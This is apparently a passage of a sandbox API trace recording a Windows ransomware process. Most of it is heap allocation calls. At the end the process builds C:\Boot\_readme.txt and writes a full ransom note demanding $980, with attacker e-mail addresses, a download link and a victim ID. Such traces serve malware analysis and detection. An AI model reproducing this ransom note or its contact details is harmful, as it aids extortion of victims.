dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.731] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.731] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.731] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.733] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.733] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.733] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.733] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.737] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.737] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.738] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.738] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.739] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.739] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.739] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.739] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.739] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.739] PathFindFileNameW (pszPath="") returned="" [0111.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.739] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.739] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.739] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.739] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14108 | out: hHeap=0x5010000) returned 1 [0111.739] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.739] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.739] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.740] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.740] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.740] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b13900 [0111.740] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0111.740] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.740] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.740] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0111.740] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b162e0 [0111.740] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.740] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on 